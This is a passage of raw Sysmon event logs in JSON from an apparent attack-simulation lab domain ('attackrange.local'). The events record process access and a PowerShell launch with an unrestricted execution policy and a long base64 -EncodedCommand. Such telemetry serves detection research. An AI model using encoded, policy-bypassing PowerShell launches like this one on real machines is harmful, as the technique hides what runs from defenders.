C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.120\r\nProcessGuid: {90617006-413F-5F2D-0000-00108F760600}\r\nProcessId: 4408\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-413F-5F2D-0000-0010C6750600}\r\nParentProcessId: 4596\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.120","ProcessGuid":"{90617006-413F-5F2D-0000-00108F760600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-413F-5F2D-0000-0010C6750600}","ParentProcessId":"4596","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nSourceProcessId: 4596\r\nSourceThreadId: 3832\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nTargetProcessId: 4408\r\nTargetImage: 